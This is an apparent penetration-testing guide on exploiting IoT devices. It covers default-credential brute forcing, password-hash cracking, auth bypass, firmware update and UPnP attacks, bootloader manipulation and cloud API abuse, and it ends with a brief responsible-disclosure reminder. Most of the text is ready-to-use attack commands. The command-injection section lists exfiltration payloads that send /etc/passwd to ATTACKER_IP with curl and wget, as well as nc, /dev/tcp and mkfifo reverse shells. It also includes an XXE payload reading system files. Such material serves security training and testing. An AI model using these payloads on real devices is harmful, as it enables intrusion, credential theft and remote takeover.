IoT Exploitation
Exploitation
This section covers common vulnerability patterns in IoT devices and practical exploitation techniques across web interfaces, network services, and firmware.
Default & Hardcoded Credentials
The most common IoT vulnerability. Many devices ship with known credentials that users never change.
bash
# Common default credentials
admin:admin
admin:password
admin:1234
root:root
root:(blank)
user:user
support:support
# Manufacturer-specific defaults
# Hikvision: admin:12345
# Dahua: admin:admin
# Ubiquiti: ubnt:ubnt
# MikroTik: admin:(blank)
# TP-Link: admin:admin
# Resources for default passwords
https://www.defaultpassword.com
https://cirt.net/passwords
https://datarecovery.com/rd/default-passwords/
# Brute force with Hydra
hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.1.100 http-post-form "/login:user=^USER^&pass=^PASS^:Invalid"
# Telnet brute force
hydra -l root -P passwords.txt telnet://192.168.1.100Hardcoded Credentials in Firmware
bash
# After extracting firmware, search for credentials
cd squashfs-root
# Shadow file analysis
cat etc/shadow
# Format: user:hash:...
# $1$ = MD5 (weak)
# $5$ = SHA-256
# $6$ = SHA-512
# Crack with John
john --wordlist=/usr/share/wordlists/rockyou.txt shadow_file
# Crack with Hashcat
hashcat -m 500 hashes.txt wordlist.txt # MD5
hashcat -m 1800 hashes.txt wordlist.txt # SHA-512
# Search for passwords in configs
grep -ri "password|passwd|pwd" etc/
grep -ri "PRIVATE KEY" .
strings usr/bin/httpd | grep -i passCommand Injection
IoT web interfaces often pass user input directly to shell commands without sanitization.
Common Injection Points
High-Risk Functions
- • Ping/traceroute tools
- • Network configuration
- • Firmware update handlers
- • File upload/download
- • NTP server settings
Injection Characters
- •
;command separator - •
|pipe - •
`cmd`backticks - •
$(cmd)subshell - •
&&/||conditionals
bash
# Test payloads for ping function
# Normal: 192.168.1.1
# Injection tests:
192.168.1.1; id
192.168.1.1 | id
192.168.1.1 && id
$(id)
`id`
192.168.1.1%0aid
192.168.1.1%0a/bin/cat /etc/passwd
# Blind command injection (no output)
# Use time delays
192.168.1.1; sleep 10
192.168.1.1 | sleep 10
# Out-of-band exfiltration
192.168.1.1; wget http://ATTACKER_IP/$(whoami)
192.168.1.1; curl http://ATTACKER_IP/`cat /etc/passwd | base64`
192.168.1.1; ping -c 1 $(whoami).ATTACKER_DOMAIN
# Reverse shell
;nc ATTACKER_IP 4444 -e /bin/sh
;/bin/bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/fAuthentication Bypass
Common Bypass Techniques
bash
# Direct URL access (missing auth checks)
/admin/config.html
/cgi-bin/admin.cgi
/setup.cgi?next_file=main.html
# Cookie manipulation
# Change: admin=0 to admin=1
# Change: authenticated=false to authenticated=true
# HTTP verb tampering
# POST /admin/delete → GET /admin/delete
# Parameter pollution
/login?user=admin&user=guest # Server may use second value
# Path traversal to bypass auth
/public/../admin/config
# Default/backdoor endpoints
/goform/telnetd # Enable telnet
/debug/console # Debug console
/cgi-bin/test.cgi # Test pages left in production
# Hidden form fields
<input type="hidden" name="admin" value="0">
# Change to value="1" and submitSession Hijacking
bash
# Predictable session tokens
# Many IoT devices use weak session IDs:
# - Sequential numbers
# - Timestamp-based
# - Device MAC address
# - Static tokens for all sessions
# Capture session cookies
# Use Burp Suite or browser dev tools
# Test for session fixation
1. Get session token as attacker
2. Send link with token to victim
3. Victim authenticates
4. Attacker uses same token
# Check for session token in URL
http://device/admin?session=ABC123
# Can be leaked via Referer headerFirmware Update Attacks
bash
# Check update mechanism security
# 1. No signature verification
# Can flash arbitrary firmware
# - Modify extracted firmware
# - Add backdoor/reverse shell
# - Repack and flash
# 2. Downgrade attacks
# Flash older vulnerable firmware
# If device doesn't check version number
# 3. MITM firmware updates
# Intercept HTTP update requests
# Replace with malicious firmware
mitmproxy -p 8080 --ssl-insecure
# Script to replace firmware download
# 4. Update server compromise
# If update URL is predictable:
https://vendor.com/fw/MODEL_VERSION.bin
# Check for signature validation
binwalk firmware.bin | grep -i signature
strings firmware.bin | grep -i "verify|sign|rsa|sha"Network Service Exploitation
Telnet/SSH Exploitation
bash
# Enable hidden telnet
# Many devices have telnet disabled by default but...
# Enabled via special URLs:
http://device/goform/telnetd
http://device/cgi-bin/telnetd.cgi?action=start
# Or via hidden UART commands
# Or via special button combinations during boot
# SSH key reuse
# Extract SSH host keys from firmware
cat etc/dropbear/dropbear_rsa_host_key
# If same key used across all devices:
# Can impersonate or MITM any device
# Brute force
hydra -l root -P passwords.txt ssh://192.168.1.100
medusa -h 192.168.1.100 -u root -P passwords.txt -M sshUPnP Exploitation
bash
# Discover UPnP devices
upnpc -l
# Add arbitrary port forward
upnpc -a 192.168.1.100 22 22 TCP # Forward port 22
# Using miranda for advanced UPnP attacks
miranda
> msearch
> host list
> host get 0
> host send 0 WANIPConnection AddPortMapping
# UPnP SOAP injection
# Some implementations vulnerable to XXE
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<s:Envelope>
<s:Body>
<NewInternalClient>&xxe;</NewInternalClient>
</s:Body>
</s:Envelope>Physical Exploitation
Bootloader Attacks
bash
# Interrupt U-Boot
# Press key during boot (often Enter, Space, or specific key)
Hit any key to stop autoboot:
# U-Boot environment manipulation
U-Boot> printenv
U-Boot> setenv bootargs init=/bin/sh
U-Boot> saveenv
U-Boot> boot
# Or boot from network
U-Boot> setenv serverip 192.168.1.100
U-Boot> setenv ipaddr 192.168.1.50
U-Boot> tftpboot 0x80000000 rootfs.ubi
U-Boot> bootm 0x80000000
# Bootloader password bypass
# Sometimes passwords stored in environment
U-Boot> printenv bootpasswordCloud Backend Attacks
bash
# Most IoT devices connect to cloud services
# Attack vectors:
# 1. IDOR - Access other users' devices
GET /api/device/12345/status
# Try: /api/device/12346/status
# 2. API key extraction from mobile app/firmware
grep -r "api_key|apikey|api-key" .
strings app.apk | grep -i key
# 3. Device impersonation
# If device ID is predictable (MAC-based)
# Forge requests as another device
# 4. Man-in-the-Middle
# If certificate validation weak:
mitmproxy --ssl-insecure
# Intercept device-to-cloud traffic
# 5. Weak authentication between device and cloud
# Some use device MAC + simple hash
# Easily reproduced by attackerExploitation Checklist
Authentication
- ☐ Try default credentials
- ☐ Check for hardcoded credentials in firmware
- ☐ Test authentication bypass techniques
- ☐ Check for session management issues
Injection
- ☐ Test all input fields for command injection
- ☐ Check ping/diagnostic functions
- ☐ Test file upload functionality
- ☐ Look for eval/system calls in source
Network Services
- ☐ Check for hidden services (telnet, SSH)
- ☐ Test UPnP for port forward injection
- ☐ Look for debug endpoints
- ☐ Test firmware update security
Hardware
- ☐ Access UART console
- ☐ Interrupt bootloader
- ☐ Extract/modify firmware via flash
- ☐ Check for test/debug modes
Responsible Disclosure
When you find vulnerabilities in IoT devices, practice responsible disclosure.
Contact the manufacturer first and give them reasonable time to patch before public disclosure.